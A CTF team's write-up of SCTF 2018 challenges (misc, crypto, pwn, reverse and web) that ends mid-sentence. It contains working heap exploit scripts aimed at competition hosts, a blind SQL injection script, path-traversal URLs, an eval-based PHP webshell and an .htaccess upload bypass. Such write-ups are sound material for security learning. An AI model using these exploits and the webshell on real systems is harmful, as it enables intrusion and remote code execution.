Team: De1ta
[TOC]
0x00 Misc
神秘的交易
参考资料:
https://bbs.pediy.com/thread-151259-1.htm
https://www.waitalone.cn/security-hardware-usb.html
下载Saleae Logic 分析软件分析截获的logicdata数据包:
clk栏为时钟电平,data栏为数据电平。
每个指令都在时钟高电平时数据下降沿后开始,数据从低位到高位的顺序发送。发送的命令格式为 一个字节指令类型 一个字节地址 一个字节数据,然后时钟高电平数据电平上升沿代表本次命令结束。我们关注的指令类型为0x33,用于校验口令。发送命令格式为
0x33 0x01 s1
0x33 0x02 s2
0x33 0x03 s3
其中s1 s2 s3拼在一起就是那三个字节的口令了.
在下图方框部分可以找到校验口令:
放大后三条命令分别为:
在时钟电平为高电平时对应的数据电平高低位分别表示1和0,且数据按从低位到高位的顺序发送,因此三调指令分别为:
0x33 0x01 0x40
0x33 0x02 0x31
0x33 0x03 0x10
因此三个口令为 0x40 0x31 0x10
flag:SCTF{403110}
神奇的modbus
拿到数据包,输入modbus过滤
随便点一个,追踪tcp流,得到flag
flag:sctf{Easy_Mdbus}
肥宅快乐题
拿到swf文件,先扔到IE里玩了一下,没有什么特别的发现
游戏难度较高,通关遥遥无期
于是,直接用爱奇艺播放器打开,在第57帧可以看到通关的NPC对话
得到一串base64
flag:SYC{F3iZhai_ku4ile_T111}
被动了手脚的数据
题目提示了数据,这里使用了一款工具modbus-cli(https://github.com/tallakt/modbus-cli )接收modbus协议的数据。用法如下:
这里尝试读取1000字节的数据,由于每次读取数据长度太长会导致timeout,因此每次只读取50字节,写个脚本如下:
#!/bin/bash
start=400001
offset=50
for ((i=$start; i<=400001+1000; i+=50))
do
modbus read --modicon 116.62.123.67 $i $offset
sleep 1
done
在跑出来的结果中,发现在400300-400331地址间有一段可疑数据:
把数据提取出来,转hex转ascii:
data = [21810, 18035, 25671, 22123, 22577, 11092, 26979, 26482, 22117, 18758, 14640, 18761, 30789, 28503, 12912, 28789, 13161, 12151, 26946, 13638, 30073, 26177, 29764, 29293, 11064, 31308, 21879, 27205, 20314, 13876, 26178, 13162]
print len(data) flag=""
for i in range(len(data)):
flag+=hex(data[i])[2:].decode('hex')
print flag
#U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j
得到字符串U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j,由U2Fsd特征易知是AES加密的密文,使用解密网站,密钥为空,解得flag:
flag:sctf{S_y3L_0v6:M_0_dbus}
侧信道初探
从代码可以看出,当ki等于1时,需要多执行一步R←R+P,因此时间和功耗都会增加:
因此1 0 对应关系如下:
flag:SCTF{0110111010}
交易识破后的报复
这题是赛后才解出来的orz
背景知识
0x00 概述
根据IC卡中嵌入的集成电路的不同可以分为三类:存储器卡、逻辑加密卡、CPU卡。其中逻辑加密卡是功能介于存储器卡和CPU卡之间,逻辑加密卡主要是由EEPROM单元阵列和密码控制逻辑组成。根据统计资料分析,逻辑加密卡在应用中所占的比例是最高的。
SLE4428是SIMENS公司设计的逻辑加密IC卡, 容量为1K x 8Bit, 设有两个字节的密码. 只有通过了密码验证, 才可以对IC卡内的没有设置写/擦除保护的内容进行写/擦除. 内部有错误计数器(EC), 错误计数器总是可以被写的, 如果连续8次校验密码不成功, IC卡将自动被锁死, 数据只能读出, 不可再校验密码. 每个字节都可以单独的设置写/擦除保护, 一旦设置了写/擦除保护, 这个字节的数据就不能再写/擦除了, 而且写保护功能只能设置一次. 除了密码区, 其他所有字节在任何时候都可以读出来. (引自: <逻辑加密IC卡SLE4428介绍及其应用>[张元良/杨加林])
下图是卡的引脚及对应的功能:
内部结构图如下:
0x01 4428协议介绍
SLE4428信协议:
数据传输协议是指连接IFD器件和IC之间接口的协议。在I/O的所有数据的变化是由CLK的下降沿上确定的。
数据传递协议由四个模式组成:
复位并应答复位
命令模式
数据输出模式
处理模式
1.1 复位并应答复位
当给IC卡上电后,IC卡进人上电复位(POR)状态,上电复位状态由复位操作停止,复位由RST引脚从0变为1开始,CLK由0变为1结束,复位操作将使IC卡放弃当前执行的命令. 当IC卡复位后,必须进行一次读操作. 如下图复位操作的时序图:
复位应答使Ic卡内部的地址计数器归零, 并且第一个数据位出现在I/O上. 然后再输人31个脉冲, 读出31位数据.
这段数据一般在最开始, 对密码分析暂无价值.
1.2 命令模式
SLE4428 IC卡的命令模式(命令输入)是当RST置高电平时, 相反, 当RST置低电平时为数据输出. 相较于复位模式, RST置高电平时间要长很多, 一般为三个字节的时间. 如下图:
RST | I/O |
---|---|
1 | Command entry(命令输入) |
0 | Data output(数据输出) |
SLE4428总共有8种命令模式, 如下图:
如上面两图, 解释如下:
- Byte 1的低6位(S0 - S5)是执行的操作, 高二位(A8 - A9)是地址位(目的地址)的高二位.
- Byte 2的8位(A0 - A7)是目的地址的低8位, 所以目的地址位总共有: (A0 - A9) 10位.
- Byte 3的8位(D0 - D7)是数据位. 当要向IC卡写数据的时候(100011 / 110011 / 000011 / 010011), 这个字节就是要写入的数据. 当IC卡读数据的时候(001100 / 011100 / 101100), 这个地址无效.
- 注意: 读时序图的时候, 要注意是小端模式.
开始解题
密码校验
题目种提到了改了用户密码, 并修改了金额, 如果是要写数据, 就必须先校验密码, 否则只能读取卡中的部分内容, 更加无法修改数据. SLE4428校验过程如下:
-
写错误计数器中没有被写过的一位:
-
分别输入(10110011)第一个/第二个校验码, 可得密码是(0512) :
-
校验通过后,擦除错误计数器EC(在该数据中没找到, 倒是有个不带保护位的读操作011100, 估计是先读EC, 若错误计数器为0就不擦除, 否则就要擦除.)
写/擦除数据
密码校验通过之后, 便可以进行写/擦除数据的操作. 向IC卡写数据时(写0), 是对IC卡存储区的一个字节的某些位进行写. 向IC卡擦除数据时(写1), 是对IC卡存储区的整个字节进行擦除操作. 下面两图是写/擦除数据操作, 题目修改数据部分, 就是在这里. 这里总共有16次写/擦除操作, 每次操作取相应的目的地址(Byte 2)和数据(Byte 3), 即得到全部flag.
Address: 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F
Data: FF F6 05 72 FF FF FF FF FF FF FF FF FF FF FF FF
至此可得flag:
flag:sctf{0512+808182838485868788898A8B8C8D8E8F+FFF60572FFFFFFFFFFFFFFFFFFFFFFFF}
0x01 Crypto
it may contain 'flag'
e非常大,导致d会很小,使用低解密指数攻击。借助工具(https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py)求得d=731297.则msg=38321129004205530330779911668681589489034853148078444,INT转ASCII得到flag1sH3r3_d_ist0sma1l
flag:SCTF{flag1sH3r3_d_ist0sma1l}
0x02 Pwn
bufoverflow_a
首先leak出libc基址,然后构造large bin 来leak出堆地址,尝试过unsafe unlink…...
然而它delete完会置0………..感觉还是要house of orange……..
下面是payload
from pwn import *
debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
p=process('./bufoverflow_a',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('116.62.152.176',20001)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def alloc(sz):
se('1\n')
ru('Size: ')
se(str(sz)+'\n')
ru('>> ')
def delete(idx):
se('2\n')
ru('Index: ')
se(str(idx)+'\n')
ru('>> ')
def fill(content):
se('3\n')
ru('Content: ')
se(content)
ru('>> ')
def show():
se('4\n')
data=ru('1. Alloc')
ru('>> ')
return data
#-------leak libc base ---------------
alloc(0x108)
alloc(0x108)
delete(0)
delete(1)
alloc(0x108)
libc=u64(show()[:6]+'\x00\x00')
base=libc-0x399B58
print(hex(base))
delete(0) #clear
#--------leak heap base------------------------
alloc(0x88)
alloc(0x1000)
alloc(0x500)
alloc(0x88)
alloc(0x88)
alloc(0x88)
delete(1)
delete(2)
delete(4)
alloc(0x88)
delete(1)
delete(5)
delete(3)
delete(0)
alloc(0x98)
alloc(0x88)
heap=u64(show()[:6]+'\x00\x00')-0xb0
haddr=heap+0x18
#clear
delete(0)
delete(1)
#---------unsafe unlink-------
alloc(0x108)
alloc(0x108)
alloc(0xf8)
alloc(0x88)
delete(1)
alloc(0x108)
fill(p64(0)+p64(0x101)+p64(haddr-0x18)+p64(haddr-0x10)+'a'*0xe0+p64(0x100))
delete(2)
alloc(0x1f8)
fill(p64(0x41)*0x3e+'\n')
delete(1)
delete(0)
alloc(0x218)
fill('a'*0x118+p64(0x91)+(p64(0x21)*24)[:-1]+'\n')
delete(3)
delete(2)
alloc(0x88)
delete(0)
delete(1)
io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0
alloc(0x218)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x3f52a)
fill('a'*0x110+file_struct+'\n')
print(hex(base+0x3f52a))
p.interactive()
flag:SCTF{0Ne_Nu11_8y7e_c4n_p1ck_up_7he_e@r7h}
sbbs
login处有溢出,可以在任意地方赋值admin .clientele
利用这个可以扩大某个被free的unsorted bin,然后控制后面的chunk
到这里的话如果给了libc,可以按照上一题的做法,house of orange
这里靠报错信息来找libc
找到是2.23的
然后之后就常规house of orange了
下面是payload
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
#p=process('./sbbs')
p=process('./sbbs',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('116.62.142.216', 20002)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def create(sz,content):
se('1\n')
ru('Pls Input your note size')
se(str(sz)+'\n')
ru('Input your note')
se(content)
ru('your note is\n')
data=ru('\n')[:-1]
ru('4.exit')
return data
def delete(idx):
se('2\n')
ru('Input id:')
se(str(idx)+'\n')
ru('4.exit')
def login(name,ty):
se('3\n')
ru('Please input your name')
se(name)
ru('choice type')
se(str(ty)+'\n')
ru('4.exit')
#-----leak heap--------
create(0x1488,'\n')
create(0x108,'\n')
delete(0)
data=create(0x108,'a'*17+'\n')[16:]
heap=u64(data.ljust(0x8,'\x00'))-0x61
#clear
create(0x1378,'\n')
delete(0)
delete(1)
delete(2)
#--------use login------
create(0x108,'\n')
create(0xe8,(p64(0x60)+p64(0x21))*0xe+'\n')
create(0x108,'\n')
create(0x108,'\n')
delete(1)
login('a'*8+p64(heap+0x118-0xf),0)
libc=u64(create(0x2e8,'\n')+'\x00\x00')
base=libc-0x3C4B78
io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0
delete(1)
create(0x2e8,'a'*0xe8+p64(0x91)+p64(0x21)*30+'\n')
for i in range(5):
create(0x1408,'\n')
delete(1)
delete(2)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x4526a)
create(0x2e8,'a'*0xe0+file_struct+'\n')
se('1\n250\n')
print(hex(base))
p.interactive()
flag:sctf{c4FRjmtQKQaRidxdOCjzB898A4fHb0rM}
bufoverflow_b
新加了一个函数,可以控制地址写一个byte, 应该是可以通过这个这个改写当前堆指针
的末尾为0,然后就可以把它自己改成free_hook, 再来就可以修改 free_hook 了
貌似是这样,并没有进行尝试,自己用的应该算是非预期解吧。。
其他的部分和 bufferoverflow_a 都差不多,fill 的时候改了一点
unsigned __int64 __fastcall read_str_E2D(__int64 a1, unsigned __int64 a2)
{
………..
v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read faild!\n");
exit(-1);
}
if ( buf == 10 || !buf ) //===========> 这里 buf 读取直到遇到 null buye
………………………………...
}
前面 a 部署 fake chunk size 什么的 时候必定会存在 null byte
这样前面的 fill 的过程就会失效
但是还是可以通过 fill 来部署。。
具体这样
比如要搞一个 fake size 0x61
0x00 | 0x61
fd | bk
首先 fill 一下, size 的地方 传入 \x61
aaaaaaaa| \x61
fd | bk
然后重新 fill 一下, fill 的长度变短,像下面
aaaaaaa\x00|\x61
这样 \x61 就会遗留在 heap 上
其他的地址也可以类似的操作,不断的fill 之后就可以构造和 bufoverflow_a 一样的布局
那就简单了,改改 bufoverflow_a 的脚本就完事了, 脚本当时草草写的,并没有太考虑效率。。这样做缺点是需要有很多fill, 会花比较长时间。。w
#coding:utf-8
from pwn import *
import sys
import time
file_addr='./bufoverflow_b'
libc_addr='./libc.so.6'
host='116.62.152.176'
port=20002
p=process('./bufoverflow_b')
if len(sys.argv)==2:
p=remote(host,port)
def menu(op):
p.sendlineafter('>>',str(op))
def alloc(size):
menu(1)
p.sendlineafter('Size: ',str(size))
def delsome(index):
menu(2)
p.sendlineafter('Index: ',str(index))
def fill(con):
menu(3)
p.sendlineafter('Content:',con)
def show():
menu(4)
def new_fill(payload,size):
for i in range(size):
fill('a'*(len(payload)-i)+payload[-i])
context.log_level='debug'
# libc leak
alloc(0x88)#0
alloc(0x88)#1
delsome(0)
alloc(0x88)#0
libc=ELF("./libc.so.6")
show()
leak=u64(p.recvline().strip().ljust(8,'\x00'))
libc_base=leak-0x88 -libc.symbols['__malloc_hook']+0x20
p.info('leak '+hex(leak))
p.info('libc_base '+hex(libc_base))
# clear
delsome(0)
delsome(1)
#### overlap unsorted bin
alloc(0x150) #0
alloc(0x150) #1
payload='a'*0x110
payload+=p64(0x170)+p64(0x31)
payload+=p64(0x200)+p64(0x20)
new_fill(payload,0x28)
delsome(0)
alloc(0x160)#0
delsome(1)
alloc(0x88)#1
fill('a'*0x88)
alloc(0x88)#2
alloc(0x88)#3
alloc(0xb0)#4
alloc(0x160)#5
delsome(2)
delsome(0)
alloc(0xf0)#0
delsome(4)
alloc(0x290)#2
io_list=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
vtable_addr=libc_base+libc.symbols['_IO_file_jumps']+0xc0-0x480
p.info('vtable_addr '+hex(vtable_addr))
file_struct=p64(0)+p64(0x61)+p64(leak)+p64(io_list - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(vtable_addr)
file_struct += p64(libc_base + 0x3f38a)
payload='z'*0x10
payload+=file_struct
size=len(payload)
# ----- ugly fill ---------------
# one _gadget
fill('z'*(size-1))
fill('z'*(size-0x8)+p64(libc_base +0x3f38a))
# vtable
fill('z'*(size-0x8-1)+'\x00')
fill('z'*(size-0x10)+p64(vtable_addr))
for i in range(0xd8):
fill('z'*(size-0x11-i)+'\x00')
# p64(3)
fill('z'*(0x10+0x28)+'\x03')
for i in range(0x8):
fill('z'*(0x10+0x28-i-1)+'\x00')
# p64(2)
fill('z'*(0x10+0x20)+'\x02')
for i in range(0x8):
fill('z'*(0x10+0x20-i-1)+'\x00')
# io_list_all -0x10
fill('z'*(0x10+0x18)+p64(io_list-0x10))
for i in range(0x8):
fill('z'*(0x10+0x18-i-1)+'\x00')
# unsorted bin addr
fill('z'*(0x10+0x10)+p64(leak))
for i in range(0x8):
fill('z'*(0x10+0x10-i-1)+'\x00')
# size 0x61
fill('z'*(0x10+0x8)+'\x61')
for i in range(0x8):
fill('z'*(0x10+0x8-i-1)+'\x00')
# p64(0)
fill('z'*(0x10)+'\x00')
# trigger orange
alloc(0x88)
exp_bp('aaaaaaa')
p.interactive()
flag:SCTF{7here_@re_s0m3_3rr0rs_7hen_wh47_wi11_u_do}
WTF_Game
看了一下java的代码,自带任意写和任意读
关键一个点就是,有了任意写和任意读,能干什么?
平时的pwn题的话随便来一波都可以get shell
但是在java环境下,这就很复杂了......
首先尝试了直接把flag给dump出来,但是弄了半天,好像怎样都dump不出来flag,放弃了
然后仔细看了下,发现Save那里会返回Player和boss在栈上的地址,然后boss的toString是可以读flag的
那样只要把player和boss交换一下,就可以拿到flag了
下面是payload
debug=0
context.log_level='debug'
if debug:
p=process('')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
p=remote('149.28.12.44', 10001)
def ru(x):
return p.recvuntil(x)
def se(x):
p.sendline(x)
def get_addr_data(addr):
se('DebugSetDataStoreAddress #'+str(addr))
ru('>')
se('showinfo')
data=ru('\n')
idx=data[1:].index('-')
t=0x100000000
d1=int(data[:idx+1])
d2=int(data[idx+2:])
d1=(d1+0x100000000)&0xffffffff
d2=(d2+0x100000000)&0xffffffff
ru('>')
return p32(d1)+p32(d2)
def write_data(addr,data):
se('DebugSetDataStoreAddress #'+str(addr))
ru('>')
se('SetHP #'+str(data))
ru('>')
ru('>')
se('VeroFessIsHandsome')
ru('>')
se('DebugShowDataStoreAddress')
addr=int(ru('\n'))
ru('>')
print(addr)
se('Save')
data=ru('\n')
idx=data[1:].index('-')
t=0x100000000
d1=int(data[:idx+1])
d2=int(data[idx+2:])
d1=(d1+0x100000000)&0xffffffff
d2=(d2+0x100000000)&0xffffffff
print(hex(d1),d2)
data=[]
ru('>')
t1=u32(get_addr_data(d1)[4:])
t2=u32(get_addr_data(d2)[4:])
write_data(d1+4,t2-0x100000000)
se('showinfo')
p.interactive()
flag:sctf{UnSafe_I5_Really_UnsAfe}
0x03 Reverse
script in script
动态生成了一些函数,下断点就能拿到:
function a(r) {
return D(~r, 1)
}
function D(r, n) {
return n ? D(r ^ n, (r & n) << 1) : r
}
function E(r, n) {
return D(r, a(n))
}
function F(r, n) {
var a = 0;
while (n) {
if (n & 1) {
a = D(a, r)
}
r = r << 1;
n = n >> 1
}
return a
}
function G(r, n) {
var a = 0;
while (r >= n) {
r = E(r, n);
a = D(a, 1)
}
return a
}
function H(r) {
return r.length
}
function J(r, n) {
return !(r ^ n)
}
function K(r, n) {
return r[n]
}
function L(r) {
if (r.length == 1) {
return r.charCodeAt(0)
}
}
function M(r) {
return +r
}
function N(r) {
return String(r)
}
function Q(r, n, a, v) {
for (var t = r; t <= n; t++) {
if (a[t] != v[t - r]) {
return false
}
}
return true
}
主验证函数:
function r(r) {
var n = r;
var a = H(n); //返回n长度
var v = J(a, 24); //n长度为24
var t = K(n, 0); //s
var u = K(n, 1); //c
var i = K(n, 2); //t
var e = K(n, 3); //取n前四位 赋值到t u i e
var f = D(L(t), L(i)); //f为231
var o = E(L(t), L(u)); //o为16
var c = K(n, 6);
var l = K(n, 7);
var h = K(n, 16);
var w = K(n, 17); //取n 7 8 17 18位 赋值到c l h w
var I = J(E(L(u), L(h)), 0); //E(L(u), L(h)) == 0
var S = J(D(L(c), L(l)), D(L(h), L(w))); //D(L(c), L(l)) == D(L(h), L(w))
var _ = J(E(L(u), L(c)), 0); //E(L(u), L(c)) == 0
var g = K(n, 21);
var p = K(n, 22); //取n 22 23 位 赋值到g p
var s = J(E(F(L(g), 2), 2), 64);
var P = Q(9, 15, n, "Pt_In_S"); //9-15为Pt_In_S
var T = J(L(l), L("r"));
var b = J(f, 231);
var d = J(o, 16);
var j = M(K(n, 5));
var k = J(G(M(O(N(L(e)), "0")), j), 204);
var m = M(K(n, 8));
var q = Q(18, 20, n, "IpT"); //18-20为IpT
var x = J(E(j, m), 4);
var y = J(F(m, m), m);
var z = J(D(L(K(n, 4)), 2), 125);
var A = J(L(u), 99); //u是 ‘c’ !!!!!!!!!....
var B = J(L(n[23]), 125);
var C = J(L(n[22]), 33);
return v && I && S && _ && s && P && T && b && d && k && q && x && y && z && A && B && C
}
flag:sctf{5cr1Pt_In_ScrIpT!!}
Where is my 13th count?
反编译 .\Cheat Engine_Data\Managed\Assembly-CSharp.dll
, 修改PlayerController.SetCountText中的判断条件, 使吃到一个的时候就移动地面, 即可看到flag.
private void SetCountText()
{
this.countText.text = "Count: " + this.count.ToString();
if (this.count >= 14) // 改为if (this.count >= 1)
{
this.winText.text = "Don't Eat Your Flag!";
this.floor.transform.position = new Vector3(this.floor.transform.position.x, this.floor.transform.position.y - 2f, this.floor.transform.position.z);
}
}
flag: SCTF{ThEFLAGGGGGGG}
Babymips
输入长度38, 先逐字节与下标加1异或, 然后取[5:37]先异或0x30, 再异或[0x73, 0x63, 0x74, 0x66][(i-5) % 4]
.
解密sub_400B3C
, 长度0x1D8, 代码解密脚本:
f = open("data","rb")
data = f.read()
f.close()
code = ""
for i in xrange(0, len(data)):
v = ord(data[i])
vv = 0
# flip bits
for j in xrange(0, 8):
k = v & (1 << j)
k >>= j
k <<= 7-j
vv |= k
code+=chr(vv)
f = open("code","wb")
f.write(code)
f.close()
flag解密脚本:
# byte_412038
a = \
[
0x72, 0x61, 0x77, 0x62, 0x7E, 0x07, 0x35, 0x2E,
0x26, 0x24, 0x31, 0x38, 0x28, 0x12, 0x35, 0x07,
0x18, 0x22, 0x2F, 0x0F, 0x26, 0x34, 0x71, 0x25,
0x10, 0x20, 0x27, 0x37, 0x24, 0x32, 0x23, 0x0B,
0x18, 0x0E, 0x1F, 0x0F, 0x52, 0x5B
]
for i in xrange(0, 38):
a[i] ^= i+1
for i in xrange(5, 37):
a[i] ^= 0x30
for i in xrange(5, 37):
a[i] ^= [0x73, 0x63, 0x74, 0x66][(i-5) % 4]
flag=""
for i in xrange(0, 38):
flag+=chr(a[i])
print flag
flag: sctf{Babymips_iS_so_ea5y_yoooooooooo!}
crackme2
fork进程用断点通信, 子进程 sub_3E74
解密, 父进程sub_3940
比较. 用链表保存字符串"We1co3t0lmel2eV", ptrace到断点时取子进程r0寄存器比较.
key = [0xEF, 0x145, 0x93, 0x134, 0x132]
secret = [ord(c) for c in "We1co3t0lmel2eV"]
a = \
[
[(key[i] - secret[0 + i]) for i in xrange(0, 5)],
[(key[i] - secret[5 + i]) for i in xrange(0, 5)],
[(key[i] - secret[10 + i]) for i in xrange(0, 5)],
]
flag = [0 for i in xrange(0, 15)]
for i in xrange(0, 5):
v = (a[0][i] + a[1][i] + a[2][i]) / 2
flag[0 + i] = v - a[0][i]
flag[5 + (i + 1) % 5] = v - a[1][i]
flag[10 + (i + 2) % 5] = v - a[2][i]
s = ""
for i in xrange(0, 15):
s += chr(flag[i])
print s
flag: We1com3t0leVel2
simple
test.zip用rc4解密得到dex文件. 反编译后抠代码穷举每组符合条件的字符.
53 5
55 7
61 =
63 ?
85 U
87 W
93 ]
95 _
117 u
119 w
125 }
-------------------
81 Q
83 S
85 U
87 W
89 Y
91 [
93 ]
95 _
113 q
115 s
117 u
119 w
121 y
123 {
125 }
-------------------
57 9
59 ;
61 =
63 ?
89 Y
91 [
93 ]
95 _
121 y
123 {
125 }
每组取前八个字符即为flag.
flag: SCTF{57=?UW]_QSUWY[]_9;=?Y[]_}
0x04 Web
Zhuanxv
通过报错知道服务器中间件是tomcat
80端口有apache默认页
github搜了一下发现后台登录页面 http://121.196.195.244:9032/zhuanxvlogin存在url http://121.196.195.244:9032/list
http://121.196.195.244:9032/loadimage?fileName=web_login_bg.jpg
⬆️这个url极其可疑,下载的文件竟然是bg.jpg
下载javaweb配置文件,发现是struts2项目 http://121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml
下载struts2配置文件 http://121.196.195.244:9032/loadimage?fileName=../../WEB-INF/classes/struts.xml
用 http://121.196.195.244:9032/loadimage?fileName=../../WEB-INF/classes/com/xxxxxxx.class
读取java编译后的文件并反编译得到源码
读取登陆部分的逻辑源码发现过滤不严格加上拼接参数,存在注入
构造payload如下
/zhuanxvlogin?user.name=admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1
结合前面读取到的adminaction类可以列目录
http://121.196.195.244:9032/list?pathName=/opt/tomcat/webapps/ROOT/WEB-INF/classes/com/cuitctf/po
读取WEB-INF/classes/com/cuitctf/po/Flag.class
反编译后是个flag的映射类,感觉flag在数据库中,读取cfg.xml映射文件,确定flag在数据库中
构造盲注脚本
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://121.196.195.244:9032/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
flag+=p
print i,flag
break
p=chr(j)
flag:sctf{C46E250926A2DFFD83197539622B08E}
easiest web - phpmyadmin
账号密码都是root
顺手把密码改成HackMe1n
估计是被发现了 被改回去了...不知道啥密码
开了3389,系统是windows
通过报错爆www路径:
直接写文件写不了
通过sql日志文件写shell
菜刀连上去:
flag:sctf{31cf2213cc49605a30f07395d6e5b9c4}
BabySyc - Simple PHP Web
这题是比赛结束后才做出来的
预期解
看到文件包含和伪协议, 读他喵的, 读login.php发现是加密过的, 所以要先寻找so拓展的名字和位置, 最后找到:
php.ini : /etc/php/5.6/apache2/php.ini
encrypt_php.so : /usr/lib/php/20131226/encrypt_php.so
读出来之后交给逆向师傅......
经过逆向大佬的一翻努力:
login.php
<?php
if (!isset($lemon_flag)) {
die('No!');
}
?>
<h1> Admin Login </h1>
<form action="" method="POST">
<input type="text" name="name" value="">
<input type="text" name="pass" value="">
<input type="submit" value="submit">
</form>
<?php
if (isset($_POST['name']) && isset($_POST['pass'])) {
if ($_POST['name'] === 'admin' && $_POST['pass'] === 'sctf2018_h656cDBkU2') {
$_SESSION['admin'] = 1;
} else {
die('<script>alert(/Login Error!/)</script>');
}
}
//admin view
if (@$_SESSION['admin'] === 1) {
?>
<form action="./?f=upload_sctf2018_C9f7y48M75.php" method="POST" enctype="multipart/form-data">
<input type="file" value="" name="upload">
<input type="submit" value="submit" name="submit">
</form>
<?php
}
?>
upload_sctf2018_C9f7y48M75.php
<?php
if (!isset($lemon_flag)) {
die('No!');
}
if (@$_SESSION['admin'] !== 1) {
die('403.');
}
$ip = sha1(md5($_SERVER['REMOTE_ADDR'] . "sctf2018"));
$user_dir = './upload_7788/' . $ip;
if (!is_dir($user_dir)) {
mkdir($user_dir);
touch($user_dir . '/index.php');
}
if (isset($_POST['submit']) && !empty($_FILES)) {
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps", "inc"];
$filearr = pathinfo($_FILES["upload"]["name"]);
if (!in_array($_FILES["upload"]['type'], $typeAccepted)) {
die("type error");
}
if (in_array($filearr["extension"], $blackext)) {
die("extension error");
}
$target_path = $user_dir . '/';
$target_path .= basename($_FILES['upload']['name']);
if (!move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
die('upload error!');
} else {
echo 'succesfully uploaded! dir: ' . $user_dir . "/" . $_FILES['upload']['name'];
}
} else {
die("<script>alert('please upload image.')</script>");
}
?>
把文件上传后在index.php处包含会提示NoNoNo,猜测上传目录upload_7788被过滤,/tmp也被过滤
in_array区分大小写 可以用PHP绕过,但是上传上去之后发现不解析,猜测在.htaccess中关闭了php_flag engine, 于是先在本文件夹上传一个.htaccess覆盖 php_flag engine的值, 再加一个PHP解析type, 最后.htaccess文件如下:
AddType application/x-httpd-php .xxx
php_flag engine 1
最后上传一个加密过后的shell就ok了
附上加解密python脚本
encode.py
import struct
from Crypto.Cipher import AES
import hashlib
import zlib
outfile = 'shell.xxx'
content = '''<?php echo 'Works!'; eval($_POST[a]); ?>'''
if len(content)%16!=0:
content=content+str((16-len(content)%16)*'0')
md5t = hashlib.md5()
md5t.update("YP68y3FsMDc6TvRgghq")
key = md5t.hexdigest()
iv = key[:16]
# print(key, iv)
dec = AES.new(key, AES.MODE_CBC, iv)
buf1 = dec.encrypt(content)
buf1 = zlib.compress(buf1)
buf0 = ''
i = 0
ch = ord(buf1[i])
while ch:
buf0 += chr(ch ^ 0x9A)
i += 1
ch = ord(buf1[i])
buf0 += buf1[i:]
srclen = len(content)
dstlen = len(buf0)
head = struct.pack('<QQ',srclen,dstlen)
with open(outfile,'wb') as f:
f.write(head + buf0)
decode.py
import struct
from Crypto.Cipher import AES
import hashlib
import zlib
infile = 'index2.php'
# path1 = dirr + "5.php"
f0 = open(infile, "rb")
dstlen = srclen = 0
dstlen,srclen = struct.unpack("<QQ",f0.read(16))
buf0 = f0.read(srclen)
f0.close()
print(hex(dstlen), hex(srclen))
# f1 = open(path1, "wb")
buf1 = ""
i = 0
ch = ord(buf0[i])
while(ch):
buf1 += chr(ch ^ 0x9A)
i+=1
if i == 299:
break
ch = ord(buf0[i])
buf1 += buf0[i:]
buf1 = zlib.decompress(buf1)
md5t = hashlib.md5()
md5t.update("YP68y3FsMDc6TvRgghq")
key = md5t.hexdigest()
iv = key[:16]
# print(key, iv)
dec = AES.new(key, AES.MODE_CBC, iv)
buf1 = dec.decrypt(buf1)
# f1.write(buf1)
print buf1
flag在/tmp/flag_56CcE97QGNxDEXNpW3HY
flag:SCTF{f9466264088306fa2600349f290866c2}
赞美re师傅!
非预期解
session upload是非预期解
关于session upload给几个参考链接:
https://xz.aliyun.com/t/2148
http://php.net/manual/zh/session.upload-progress.php
http://skysec.top/2018/04/04/amazing-phpinfo/
文件包含读phpinfo
http://116.62.71.206:52872/?f=phpinfo.php
开了 session.upload_progress.enabled = on
说明可以覆盖session
开了clean up
说明需要竞争
竞争脚本附在最下方
这里实际上包含的session内容是:
